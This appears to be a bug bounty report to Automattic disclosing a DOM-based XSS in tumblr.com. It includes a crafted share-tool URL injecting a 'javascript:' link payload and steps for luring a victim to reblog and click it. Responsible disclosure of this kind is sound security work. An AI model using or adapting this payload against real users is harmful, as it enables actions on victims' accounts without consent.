Automattic · Report #882546
DOM-Based XSS in tumblr.com
How it was found
Description
Hi, i just found a XSS that i think it's a valid issue and i think it is in scope this time.
To get the XSS the attacker needs to create a post in tumblr.com using https://www.tumblr.com/widgets/share/tool?url=https%3A%2F%2Fkeerok.github.io%2F&title=%3Ca%20href=%22javascript:alert(document.domain);//http://evil.com/%22%3Eclick%20me%3C/a%3E&selection=click%20in%20the%20link%20after%20reblog&shareSource=chrome_extension URL and change the link of click me text to javascript:alert(document.domain);//https://evil.com/ without the "denied:".
After post the payload , the victim needs to reblog the post in www.tumblr.com and click in "click me" and in "open" to open in a new tab the URL, after this, XSS will be triggered.
I also attached a video of the PoC: {F842750}
Steps to reproduce
- go to
https://www.tumblr.com/widgets/share/tool?url=https%3A%2F%2Fkeerok.github.io%2F&title=%3Ca%20href=%22javascript:alert(document.domain);//http://evil.com/%22%3Eclick%20me%3C/a%3E&selection=click%20in%20the%20link%20after%20reblog&shareSource=chrome_extension - remove "denied:" from click me link
- save the post
- victim reblog the post
- click in "click me"
- click in open (Abrir)
- XSS will be triggered
Impact
it is possible to perform malicious actions on the victim's account